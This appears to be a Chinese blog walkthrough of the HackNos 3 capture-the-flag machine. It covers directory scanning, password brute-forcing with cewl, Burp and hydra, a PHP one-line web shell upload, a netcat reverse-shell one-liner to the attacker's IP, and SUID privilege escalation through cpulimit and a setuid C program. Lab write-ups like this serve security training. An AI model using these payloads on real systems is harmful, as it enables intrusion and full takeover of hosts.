当前位置: 首页 > news >正文

HackNos 3靶场

配置

进入控制面板配置网卡

第一步:启动靶机时按下 shift 键,

  • 进入以下界面

image-20230811104648298

第二步:选择第二个选项,然后按下 e 键,进入编辑界面

image-20230811104707659

将这里的ro修改为rw single init=/bin/bash,然后按ctrl+x,进入一个相当于控制台的界面,里面可以执行命令

image-20230811104721458

ip a 查看一下实际用的网卡,这里是ens33

image-20230811104737405

这里和直接的不同

20.04的ubuntu已经不用/etc/network/interfaces来设置网络了,变成在/etc/netplan下的文件来配置了

教程:Ubuntu Server 20.04 网卡启动及配置(配置前请注意文件备份)_邹霍梁@数字化企业的博客-CSDN博客

打开配置文件

sudo vim /etc/netplan/00-installer-config.yaml
1

按下i进入编辑模式,修改网卡为DHCP

network:  version: 2  ethernets:eth0:	# 这个以实际网卡为准dhcp4: true 
12345

修改为静态ip:

network:version: 2ethernets:eth0:	# 这个以实际网卡为准dhcp4: noaddresses: [192.168.1.2/24]optional: truegateway4: 192.168.1.1nameservers:addresses: [218.2.135.1,8.8.8.8]
12345678910

注意yaml对缩进和空格要求严格

应用更改

sudo netplan apply

一、信息收集

获取ip

目录扫描

gobuster  dir -u  http://192.168.16.200/    -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt

扫描出三个目录

image-20230817170442281

二级目录扫描

gobuster  dir -u  http://192.168.16.200/websec    -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt 

image-20230817170537524

登录发现有一个邮箱,保存下来

http://192.168.16.200/websec/index

image-20230817170242902

在http://192.168.16.200/websec/login发现登录后台页面,需要使用邮箱

image-20230817170637358

二、密码爆破

1.bp爆破密码

该后台登录页面对登录请求的IP进行了限制

去掉Cookie头部字段后可以正常爆破

使用burpsuitr,抓包,默认的字典是没办法跑出来的

image-20230817173026039

字典获取-工具cewl

Cewl是一款采用Ruby开发的应用程序,你可以给它的爬虫指定URL地址和爬取深度,还可以添额外的外部链接,接下来Cewl会给你返回一个字典文件。

工具源地址:【传送门】

使用cewl爬取网站信息然后生成目标网站字典文件

 cewl http://192.168.16.200/websec/ > cewl.txt

image-20230817174032380

image-20230817174314429

导入字典重新爆破

根据收集的网站信息,邮箱contact@hacknos.com,使用字典cewl.txt进行爆破

成功爆破出密码 Securityx

image-20230817174505374

进入管理后台了

image-20230817174658960

2.hydra爆破

这里还可以使用hrdra进行爆破

hardra教程参考:

无验证码]Web页面_hydra爆破web_Yuri800的博客-CSDN博客

爆破语法:

hydra -l contact@hacknos.com -P cewl.txt 192.168.0.3 http-post-form "/websec/admin:username=^USER^&password=^PASS^:Log In"

参数解释:

# -l 用户名
# -P 密码字典
# https-post-form、http-get-form、https-get-form -提交方式
#username=^USER^&password=^PASS^:Log In" username=^USER^&password=^PASS^,把在network中看到的POST提交的内容只是把用户名和密码部分换成了^USER^和^PASS^。USER对应前面的-l 后跟的用户名root,PASS会被字典中的密码逐个替换。:Log In表示成功

POST的内容就是一个简单的键值对的形式(username=用户名&password=密码)

image-20230818091508465

爆破结果:

[80][http-post-form] host: 192.168.16.200 login: contact@hacknos.com password: Securityx

image-20230818092228231

三、后门上传

进入后台后,发现文件上传点

image-20230818093050096

新建php文件,插入上传一句话木马文件

<?php system($_REQUEST['cmd']);?>

image-20230818105435322

可以看到后门文件上传后的路径

image-20230818105632070

访问后门文件:

被禁止访问

image-20230818105831278

返回查看htaccess配置文件

可以看到里面代码对所有 .php 文件执行“拒绝访问”的操作。

image-20230818110025191

删除重新访问

访问中删除admin后成功

http://192.168.16.200/websec/tmp/houmen.php?cmd=id

image-20230818111900737

四、nc反弹

抓取 后门后的数据包,修改请求为post请求

image-20230818113756931

kaili开启nc监听

image-20230818114116044

反弹使用:

linux反弹备忘录 | (moonsec.com)

常用的一句话反弹shell总结_php一句话反弹shell_橘子女侠的博客-CSDN博客

image-20230818142207771

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.16.180 9002 >/tmp/f

编译后执行

image-20230818144337844

切换到bash

python -c 'import pty;pty.spawn("/bin/bash")'

五、第一个flag

查看网站存放的目录

www-data@hacknos:/var/www/html$ ls
ls
bg.jpg  devil  index.html  scripts  upload.php  websec
www-data@hacknos:/var/www/html$ cd websec
cd websec
www-data@hacknos:/var/www/html/websec$ ls
ls
Dockerfile  assets              config.php  log         sites   tmp
LICENSE     composer.json       index.php   robots.txt  src
app.yaml    config.default.php  lib         shell.php   themes

查看config.php文件内容

存放有数据库账号和密码,可以留着后面使用

image-20230818144632175

查看账号保存位置

cat  /etc/passwd 

image-20230818150533202

看到有个blackdevil用户,查看旗下的user.txt

拿到第一个flag

image-20230818150647137

六、cpulimit提权

扫描suid文件

 find / -perm -u=s 2>/dev/null

image-20230818151728519

查找到SUID权限的命令:cpulimit

在Ubuntu中使用cpulimit限制进程的使用率_ubuntu 离线安装 cpulimit__Slience_的博客-CSDN博客

用法
限制firefox使用30% cpu 利用率 cpulimit -e firefox -l 30
限制进程号1313的程序使用30% cpu 利用率 cpulimit -p 1313 -l 30
限制绝对路径下该软件的 cpu 利用率cpulimit -e /usr/local/nginx/sbin/nginx -l 50
停止当前限制Ctrl + C

查找用户所创建的文件

find / -user 1000 2>/dev/null

image-20230818151629213

查看当前用户可以使用的管理员命令

sudo -l

image-20230818154235411

使用cpulimit提权

1.kali编写c代码

#include<stdio.h>
#include<unistd.h>
#include<stdlib.h>int main()
{setuid(0);  #该函数用于设置实际用户ID,将其设置为0,即root用户的UID。这将把进程的权限提升为超级用户。setgid(0);#类似于 setuid,此函数设置实际组ID,将其设置为0,即root组的GID。system("/bin/bash");# system 函数用于在新的进程中执行一个 shell 命令。在这里,它执行了 /bin/bash,启动了一个交互式的 Bash Shell,因为Bash Shell位于 /bin/bash。return 0;#返回0表示执行成功#
}

image-20230818155046700

2.编译代码

gcc   a.c -o tiquanchmod 777 tiquan

image-20230818155350575

3.上传到靶场

使用base64加密编译好的文件

base64 tiquan 

image-20230818155758093

复制在靶场处新建文件

使用: stty cooked echo

或者pyton上传

python -m http.server 8888
wget http://192.168.16.180:8888/tiquan

image-20230818161029017

4.使用cpulimit执行

方法一、命令提权

cpulimit -l 100 -f -- /bin/sh -p因为这里的cpulimit是可以执行suid权限
这个命令的目的是以限制的CPU使用率(在这里是100%)运行一个交互式Shell也为suid权限

直接提权成功

image-20230818161356923

方法二、脚本提权

使用刚刚编译好的c语言提权代码

执行

chmod +x tiquancpulimit -l 100 -f ./tiquan

七、sudo 提权

八、docker提权

http://www.lryc.cn/news/129797.html

相关文章:

  • 【办公自动化】使用Python批量生成PPT版荣誉证书
  • 【C++深入浅出】初识C++中篇(引用、内联函数)
  • 前端:VUE2中的父子传值
  • 【100天精通python】Day40:GUI界面编程_PyQt 从入门到实战(完)_网络编程与打包发布
  • Redis——set类型详解
  • redis---》高级用法之慢查询/pipline与事务/发布订阅/bitmap位图/HyperLogLog/GEO地理位置信息/持久化
  • Find My资讯|苹果Vision Pro开发者需将设备配对 AirTag
  • Go 语言中排序的 3 种方法
  • 12----Emoji表情
  • C++四种强制类型转换
  • git仓库新建上传记录
  • flutter调用so
  • c#依赖注入
  • Django框架使用定时器-APScheduler实现定时任务:django实现简单的定时任务
  • Go学习笔记之数据类型
  • Spring Cloud 微服务
  • SpringBoot属性配置
  • 算法通关村第十关 | 归并排序
  • SpringBoot3集成Kafka
  • css学习1
  • rust踩雷笔记(1)——切片传参和解引用赋值
  • 安全 1自测
  • 寻路算法小游戏
  • CSS基础 知识点总结
  • 自动执行探索性数据分析 (EDA),更快、更轻松地理解数据
  • 【自定义系统服务】【android13】添加自定义java系统服务
  • 【Sklearn】基于随机梯度下降算法的数据分类预测(Excel可直接替换数据)
  • 44、TCP报文(二)
  • 目标检测(Object Detection)
  • vue中实现文字检索时候将搜索内容标红